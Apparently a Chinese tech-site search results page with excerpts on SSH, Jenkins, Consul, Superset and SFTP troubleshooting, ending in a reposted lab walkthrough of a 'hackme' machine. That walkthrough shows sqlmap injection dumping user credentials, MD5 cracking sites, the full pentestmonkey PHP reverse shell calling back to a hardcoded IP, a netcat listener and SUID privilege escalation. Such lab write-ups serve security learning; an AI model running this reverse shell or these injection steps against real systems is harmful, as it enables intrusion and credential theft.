前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[权限问题导致的SSH密钥创建失败]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
Linux
...开发者,我经常遇到 SSH 密钥对生成失败或者密钥对不匹配的问题。这可能是由于我们的配置错误、网络连接不稳定等原因引起的。这篇文章将详细讨论这些问题的原因以及相应的解决方案。 二、问题分析 首先我们来了解一下 SSH 密钥对是什么。SSH 密钥对是一对公钥和私钥,它们是用于加密和解密数据的重要工具。当我们对一个远程主机动手操作的时候,就会用到这个密钥对,就像一把神奇的钥匙,帮咱们确认身份,确保是“你”而不是别人在进行这些远程操作。 那么,当我们遇到 SSH 密钥对生成失败或者密钥对不匹配的问题时,通常会有以下几个原因: 1. 用户权限不足 在某些情况下,如果用户没有足够的权限生成 SSH 密钥对,就会导致这个问题。 2. SSH 服务器版本过低 如果远程服务器的 SSH 版本太低,可能无法支持最新的 SSH 密钥对格式,从而导致密钥对不匹配。 3. 网络问题 在网络不稳定的情况下,可能会导致 SSH 密钥对生成失败。 4. 错误的密钥对配置 如果用户的 SSH 配置文件设置有误,也可能导致密钥对不匹配。 三、解决方案 针对以上可能出现的问题,我们可以采取以下几种解决方案: 1. 增加用户权限 如果是因为用户权限不足导致的 SSH 密钥对生成失败,可以尝试提升用户的权限级别。 示例: bash sudo usermod -aG sudo username 这样就将用户名添加到了 sudo 组中,拥有执行命令的权限。 2. 升级 SSH 服务器版本 如果是因为 SSH 服务器版本过低导致的密钥对不匹配,可以尝试升级 SSH 服务器到最新版本。 示例: bash sudo apt-get update sudo apt-get upgrade openssh-server 然后重启 SSH 服务: bash sudo service ssh restart 3. 检查网络连接 如果是因为网络问题导致的 SSH 密钥对生成失败,可以检查网络连接是否正常。 示例: bash ping remote_host 如果网络不通,则需要检查网络设置或联系网络管理员。 4. 检查 SSH 配置文件 如果是因为错误的 SSH 配置文件导致的密钥对不匹配,可以检查 ~/.ssh/config 文件中的设置。 示例: bash cat ~/.ssh/config 如果有错误的设置,需要修改后保存并关闭文件。 四、总结 本文详细介绍了 Linux 中 SSH 密钥对生成失败或密钥对不匹配的问题,并提供了相应的解决方案。在我们实际做开发的时候,千万不能忽视这些时常冒出来的小问题,得时刻留个心眼儿,及时逮住它们,顺手就把它们给解决了。同时呢,咱们也得时刻给自己充充电,不断提升手里的技术活儿,不断探索和学习新的知识、技能,好让自己随时能够应对各种意想不到的复杂挑战。 五、参考文献 - - 希望这篇文章能对你有所帮助!
2023-06-06 18:34:56
116
星辰大海-t
Linux
...与Jenkins配置SSH测试报错的排查之旅 在Linux运维的世界里,我们常常会遇到一些看似棘手实则有趣的问题。今天,咱们就手牵手,踏上一段探索之旅,说点儿接地气的——这回的主题是“服务器捣鼓出了private key,结果在Jenkins那家伙上配置SSH连接进行测试时,却偏偏闹起了脾气,蹦出个错误来”。让咱们好好聊聊这个小插曲吧!我们将一步步地深入探索,通过实际操作和代码示例来解决这个问题。 1. 问题背景及现象描述 首先,我们在Linux服务器上通过ssh-keygen命令生成了一对密钥(public key和private key),用于无密码SSH登录或者Jenkins与远程服务器的自动化连接。然而,在Jenkins中尝试配置SSH插件以使用这个私钥进行连接测试时,却发现系统返回了一个让人困惑的错误信息(此处由于无法提供图形,我将用文字形式模拟描述): > Jenkins SSH Connection Test Failed: Authentication failed. 这就像是一个神秘的谜团,我们的目标是揭开这个谜底,让Jenkins顺利地利用私钥与服务器建立SSH连接。 2. 探索第一步 检查私钥权限与路径 - 私钥权限检查: 在Linux下,私钥的权限设置至关重要,过宽的权限可能会导致SSH拒绝使用此密钥。请确保你的私钥权限设置正确,仅对当前用户可读写执行,例如: bash chmod 400 /path/to/private_key.pem - 私钥路径确认: 确认Jenkins配置中的私钥路径是否准确无误。在Jenkins的SSH插件配置页面,应如实地填写私钥的绝对路径: /var/lib/jenkins/.ssh/id_rsa 3. 探索第二步 公钥部署与authorized_keys文件 - 公钥上传: 在生成私钥的同时,也会生成对应的公钥(通常命名为id_rsa.pub)。咱们得把这个公钥给丢到目标服务器的“~/.ssh/authorized_keys”这个文件里头去。可通过如下命令实现: bash ssh-copy-id -i /path/to/public_key.pem user@remote_host - authorized_keys权限检查: 同样需要确保目标服务器上authorized_keys文件的权限设置正确,例如: bash chmod 600 ~/.ssh/authorized_keys 4. 探索第三步 Jenkins SSH插件配置细节 - 用户名与主机名验证: 在Jenkins的SSH插件配置界面,确保你输入的远程主机名、端口号以及用户名都是正确的。比如: Hostname: remote_host Username: jenkins_user Port: 22 Private Key: /var/lib/jenkins/.ssh/id_rsa - Passphrase考虑: 如果你在生成私钥时设置了passphrase,请确保在Jenkins的SSH插件配置中也提供了该passphrase。 5. 思考与探讨 在这个过程中,我们就像侦探一样,逐个环节去排查可能的问题点。你知道吗,就像解一道复杂的拼图游戏一样,设置Jenkins与远程服务器之间安全的SSH连接也是有它的“小窍门”和“必经之路”的。每一步操作都有它独特的逻辑性和不可或缺的重要性,就像是通关打怪一样,咱们必须一步步地把那些隐藏的小障碍给拿下,才能确保Jenkins能够稳稳当当地用上私钥,成功建立起一条坚不可摧的安全通信通道! 总结起来,面对此类问题,我们首先要确保基础配置的准确性,包括私钥和公钥的权限、路径以及在目标服务器上的部署情况;其次,细致入微地检查Jenkins的SSH插件配置细节。在整个运维技能提升的过程中,其实就跟咱们平时学做饭一样,得多动手实践、不断尝试,犯点错误没关系,关键是从中吸取经验教训。这样一来,我们的运维技能才能像滚雪球一样越滚越大,越来越强。当然啦,千万记得要保持住耐心和乐观劲儿,要知道,“任何的伟大成就,都是从一个勇敢的起步开始孕育的”这句话可是真理呀!
2023-11-22 09:47:35
184
星辰大海_
Shell
...无法连接远程服务器:问题排查与解决之道 0. 引言 在我们的日常运维工作中,Shell作为强大的命令行工具,其远程连接功能是实现高效运维的重要手段。然而,有时候咱们也会碰上这么个情况:Shell死活连不上远程服务器,这可真让人头疼,给咱的工作平添了不少小麻烦呢!这篇东西,咱们要接地气地深挖这个问题,不仅会甩出一些实例代码的“硬货”,还会掰开揉碎了细细讲解,保准让你对这类问题从里到外、彻彻底底地整明白,最后顺顺利利地把它们给摆平喽! 1. 常见的Shell远程连接方式 SSH 首先,让我们回顾一下如何使用Shell(主要是通过SSH协议)连接远程服务器。假设我们有一个远程服务器IP为192.168.1.100,用户名为user: bash ssh user@192.168.1.100 当你执行这段命令后,若出现连接失败的情况,别慌!下面我们将逐步揭示可能的原因,并给出相应的解决方案。 2. 连接失败原因及对策 2.1 网络问题 现象:执行上述SSH命令后,长时间无响应或提示“Connection timed out”。 思考过程:这是最常见的问题,可能是网络不通或者防火墙设置导致的。 解决方法: - 检查本地主机和目标服务器间的网络连通性,例如用ping命令测试: bash ping 192.168.1.100 - 如果ping不通,则检查网络配置或联系网络管理员确认是否对特定端口进行了封锁,SSH默认使用的是22号端口。 2.2 SSH服务未运行 现象:网络通畅,但仍然无法连接。 理解过程:此时我们需要考虑目标服务器上的SSH服务是否正在运行。 验证与解决: - 登录到目标服务器(如果可以物理访问),检查SSH服务状态: bash sudo systemctl status sshd - 若发现服务未启动,启动SSH服务: bash sudo systemctl start sshd 2.3 用户名或密码错误 现象:输入正确的IP地址后,提示认证失败。 人类的思考:这时我们要反思输入的用户名和密码是否准确无误。 处理方式: - 确认并重新输入正确的用户名和密码,如果忘记密码,可以通过其他途径重置。 - 如果启用了公钥认证,确保本地计算机的私钥与远程服务器上对应的公钥匹配。 2.4 防火墙限制 现象:所有配置看似正确,但还是不能连接。 探讨性话术:此时,我们或许应该把目光投向服务器的防火墙设置。 解决策略: - 在服务器上临时关闭防火墙(仅用于测试,不建议长期关闭): bash sudo ufw disable - 或者开放22号端口: bash sudo ufw allow 22/tcp 3. 结论与总结 面对Shell无法连接远程服务器的问题,我们应从多个角度去分析和解决,包括但不限于网络、服务、认证以及防火墙等环节。每一步都伴随着我们的思考、尝试与调整。记住了啊,解决问题这整个过程其实就像一次实实在在的历练和进步大冒险。只要你够耐心、够细致入微,就一定能找到那把神奇的钥匙,然后砰的一下,远程世界的大门就为你敞开啦!下次再遇到类似情况,不妨淡定地翻开这篇文章,跟随我们的思路一步步排查吧!
2023-02-04 15:53:29
92
凌波微步_
Consul
...n过期或未正确应用的问题深度解析与实战示例 在分布式系统架构中,Consul作为一款流行的服务发现与配置管理工具,其强大的服务治理功能和安全性设计深受开发者喜爱。其中,ACL(Access Control List)机制为Consul提供了细粒度的权限控制,而ACL Token则是实现这一目标的核心元素。不过在实际操作的时候,如果ACL Token这小家伙过期了或者没被咱们正确使上劲儿,那可能会冒出一连串意想不到的小插曲来。这篇文咱们可得好好掰扯掰扯这个主题,而且我还会手把手地带你瞧实例代码,保准让你对这类问题摸得门儿清,解决起来也更加得心应手。 1. ACL Token基础概念 首先,让我们对Consul中的ACL Token有个基本的认识。每个Consul ACL Token都关联着一组预定义的策略规则,决定了持有该Token的客户端可以执行哪些操作。Token分为两种类型:管理Token(Management Tokens)和普通Token。其中,管理Token可是个“大boss”,手握所有权限的大权杖;而普通Token则更像是个“临时工”,它的权限会根据绑定的策略来灵活分配,而且还带有一个可以调整的“保质期”,也就是说能设置有效期限。 shell 创建一个有效期为一天的普通Token $ consul acl token create -description "Example Token" -policy-name "example-policy" -ttl=24h 2. ACL Token过期引发的问题及解决方案 问题描述:当Consul ACL Token过期时,尝试使用该Token进行任何操作都将失败,比如查询服务信息、修改配置等。 json { "message": "Permission denied", "error": "rpc error: code = PermissionDenied desc = permission denied" } 应对策略: - 定期更新Token:对于有长期需求的Token,可以通过API自动续期。 shell 使用已有Token创建新的Token以延长有效期 $ curl -X PUT -H "X-Consul-Token: " \ http://localhost:8500/v1/acl/token/?ttl=24h - 监控Token状态:通过Consul API实时监测Token的有效性,并在即将过期前及时刷新。 3. ACL Token未正确应用引发的问题及解决方案 问题描述:在某些场景下,即使您已经为客户端设置了正确的Token,但由于Token未被正确应用,仍可能导致访问受限。 案例分析:例如,在使用Consul KV存储时,如果没有正确地在HTTP请求头中携带有效的Token,那么读写操作会因权限不足而失败。 python import requests 错误示范:没有提供Token response = requests.put('http://localhost:8500/v1/kv/my-key', data='my-value') 正确做法:在请求头中添加Token headers = {'X-Consul-Token': ''} response = requests.put('http://localhost:8500/v1/kv/my-key', data='my-value', headers=headers) 应对策略: - 确保Token在各处一致:在所有的Consul客户端调用中,不论是原生API还是第三方库,都需要正确传递并使用Token。 - 检查配置文件:对于那些支持配置文件的应用,要确认ACL Token是否已正确写入配置中。 4. 结论与思考 在Consul的日常运维中,我们不仅要关注如何灵活运用ACL机制来保证系统的安全性和稳定性,更需要时刻警惕ACL Token的生命周期管理和正确应用。每个使用Consul的朋友,都得把理解并能灵活应对Token过期或未恰当使用这些状况的技能,当作自己必不可少的小本领来掌握。另外,随着咱们业务越做越大,复杂度越来越高,对自动化监控和管理Token生命周期这件事儿的需求也变得越来越迫切了。这正是我们在探索Consul最佳实践这条道路上,值得我们持续深入挖掘的一块“宝藏地”。
2023-09-08 22:25:44
469
草原牧歌
Superset
...目标呢,就是想把这个问题掰开揉碎了讲明白,咱们会借助一些实实在在的代码例子,一块儿琢磨出问题出在哪儿,然后再对症下药,拿出解决的好法子来。 2. API调用中的HTTP错误概览 在与Superset的API进行交互时,HTTP错误是常见的反馈形式,它代表了请求处理过程中的异常情况。常见的HTTP错误状态码包括400(Bad Request)、401(Unauthorized)、403(Forbidden)、404(Not Found)等,每一种错误都对应着特定的问题场景。 - 例如:尝试访问一个不存在的资源可能会返回404错误: python import requests url = "http://your-superset-server/api/v1/fake-resource" response = requests.get(url) if response.status_code == 404: print("Resource not found!") 3. 分析并处理常见HTTP错误 3.1 400 Bad Request 这个错误通常意味着客户端发送的请求存在语法错误或参数缺失。比如在Superset里捣鼓创建仪表板的时候,如果你忘了给它提供必须的JSON格式数据,服务器就可能会蹦出个错误提示给你。 python 错误示例:缺少必要参数 payload = {} 应该包含dashboard信息的json对象 response = requests.post("http://your-superset-server/api/v1/dashboard", json=payload) if response.status_code == 400: print("Invalid request, missing required parameters.") 解决方法是确保你的请求包含了所有必需的参数并且它们的数据类型和格式正确。 3.2 401 Unauthorized 当客户端尝试访问需要认证的资源而未提供有效凭据时,会出现此错误。在Superset中,这意味着我们需要带上有效的API密钥或其他认证信息。 python 正确示例:添加认证头 headers = {'Authorization': 'Bearer your-api-key'} response = requests.get("http://your-superset-server/api/v1/datasets", headers=headers) 3.3 403 Forbidden 即使你提供了认证信息,也可能由于权限不足导致403错误。这表示用户没有执行当前操作的权限。检查用户角色和权限设置,确保其有权执行所需操作。 3.4 404 Not Found 如上所述,当请求的资源在服务器上不存在时,将返回404错误。请确认你的API路径是否准确无误。 4. 总结与思考 在使用Superset API的过程中遭遇HTTP错误是常态而非例外。每一个错误码,其实都在悄悄告诉我们一个具体的小秘密,就是某个环节出了点小差错。这就需要我们在碰到问题时化身福尔摩斯,耐心细致地拨开层层迷雾,把问题的来龙去脉摸个一清二楚。每一个“啊哈!”时刻,就像是我们对技术的一次热情拥抱和深刻领悟,它不仅让咱们对编程的理解更上一层楼,更是我们在编程旅途中的宝贵财富和实实在在的成长印记。所以呢,甭管是捣鼓API调用出岔子了,还是在日常开发工作中摸爬滚打,咱们都得瞪大眼睛,保持一颗明察秋毫的心,还得有股子耐心去解决问题。让每一次失败的HTTP请求,都变成咱通往成功的垫脚石,一步一个脚印地向前走。
2023-06-03 18:22:41
67
百转千回
SeaTunnel
...TP连接不稳定或认证失败问题的实战解析 1. 引言 当我们利用SeaTunnel(前身是Waterdrop)这一强大的大数据处理工具对接SFTP服务器时,有时会遭遇SFTP连接不稳定或者认证失败的问题。这种情况可能会打断我们的数据同步流程,影响整个项目进度。这篇文咱会详细唠唠这类问题背后可能的“病因”,并且手把手用SeaTunnel配置的实例代码,实实在在地教你搞定这些问题的小妙招。 2. SFTP连接与认证原理浅析 首先,让我们理解一下SFTP的基本工作原理。SFTP(Secure File Transfer Protocol)是一种安全文件传输协议,它基于SSH协议,确保了数据在传输过程中的安全性。在咱们建立连接并开始认证这一步的时候,客户端必须拿出一些硬货,比如有效的用户名、密码这些身份通行证,还有SSH密钥这类高级验证工具,才能顺利过关,完成身份核实的过程。如果碰到网络连接老是掉线,或者认证失败这种情况,那可能是因为网络环境时好时坏、服务器设置有点问题,或者是密钥对不上号等多种原因造成的。 3. SeaTunnel对接SFTP常见问题及对策 (3.1) 连接不稳定问题 - 场景描述: 在使用SeaTunnel从SFTP读取或写入数据时,可能会遇到连接频繁断开、重连的情况。 - 原因分析: 可能是由于网络延迟、丢包、SFTP服务器超时设置过短等因素引起。 - 解决方案与代码示例: yaml 在SeaTunnel的source或sink配置中添加相关参数 sftp: host: 'your_sftp_host' port: 22 username: 'your_username' password: 'your_password' connectionTimeout: 60000 设置连接超时时间(单位毫秒) soTimeout: 60000 设置读写超时时间(单位毫秒) 这里我们通过调整connectionTimeout和soTimeout参数,为SFTP连接预留更充足的响应时间,有助于改善连接稳定性。 (3.2) 认证失败问题 - 场景描述: 提供正确的用户名、密码或密钥后,仍无法成功连接SFTP服务器。 - 原因分析: 密码错误、密钥对不匹配、权限不足等情况都可能导致认证失败。 - 解决方案与代码示例: yaml sftp: host: 'your_sftp_host' port: 22 privateKeyPath: '/path/to/your/private_key' 如果使用密钥认证,指定私钥文件路径 passphrase: 'your_passphrase' 若私钥有密码,请填写此字段 确保提供的认证信息准确无误,对于密钥认证,不仅要提供正确的私钥路径,还需确认是否需要提供对应的passphrase(如果有的话)。此外,检查SFTP服务器上对应用户的权限设置也是必要的步骤。 4. 深度探讨与实践优化 面对SFTP连接和认证问题,除了上述基础配置外,我们还需要关注: - 网络状况监控与优化: 保持良好的网络环境,减少网络抖动带来的影响。 - 日志分析与调试: 配置详细的日志输出级别,通过查看SeaTunnel运行日志来定位问题的具体原因。 - 定期健康检查: 定期检查并更新SFTP服务器的配置,包括但不限于用户权限、防火墙规则、服务器资源占用情况等。 5. 结语 在大数据时代,数据的稳定高效传输至关重要。通过合理配置SeaTunnel,我们可以更好地应对SFTP连接不稳定或认证失败的问题。在这个过程中,咱们得接地气儿,灵活运用各种招数,针对实际情况见招拆招。就像是调音师调试乐器那样,我们也得不断优化调整,最终目的是为了让数据管道顺顺当当地跑起来,一点儿不卡壳。记住了啊,每一个技术难题其实都是个学习和进步的好机会,只要我们坚持不断去摸索、去探究,总有一天会找到那个最完美的解决方案,让问题迎刃而解。
2023-12-13 18:13:39
269
秋水共长天一色
转载文章
...页面 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入:x' or 1=1 成功返回所有信息,说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
497
转载
转载文章
